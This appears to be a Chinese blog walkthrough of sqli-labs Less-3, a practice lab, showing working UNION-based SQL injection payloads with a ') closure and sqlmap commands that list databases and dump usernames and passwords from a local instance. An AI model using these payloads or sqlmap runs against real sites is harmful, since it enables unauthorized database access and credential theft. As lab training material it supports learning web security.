sqli-labs(第三关)
前言:
今天做第三关。
正文:
进入第三关页面:
(1)看注入点,判断注入类型。
?id=1' #报错
?id=1'' #不报错
说明是字符型,注入点为id
(2)找列
?id=1' order by 3 --+
这个时候发现报错了。
有问题,我看别人的payload,是我的闭合方式错了,系统提示的地方有一个 ') 这个就是闭合方式。
You have an error in your SQL syntax;
check the manual that corresponds to your MySQL server version for the right syntax to
use near 'order by 3 -- ') LIMIT 0,1' at line 1
那么好,把单引号闭合方式换成 ')
再试一下:
?id=-1') order by 2 --+
?id=-1') order by 3 --+
?id=-1') order by 4 --+
(3)找数据库名字
?id=-1') union select 1,2,group_concat(schema_name) from information_schema.schemata--+
(4)查数据库中的表的名字
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
(5)查users表
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
(6)查users表中的值
?id=-1') union select 1,group_concat(username),group_concat(password) from security.users--+
下面用SQLMAP跑一遍:
sqlmap.py -u http://localhost/sqli-labs/sqli-labs-master/Less-3/?id=1
sqlmap.py -u http://localhost/sqli-labs/sqli-labs-master/Less-3/?id=1 --dbs
sqlmap.py -u http://localhost/sqli-labs/sqli-labs-master/Less-3/?id=1 -D security --tables
sqlmap.py -u http://localhost/sqli-labs/sqli-labs-master/Less-3/?id=1 -D security -T users --column
sqlmap.py -u http://localhost/sqli-labs/sqli-labs-master/Less-3/?id=1 -D security -T users -C id,password ,username --dump
哈哈哈,结束!!!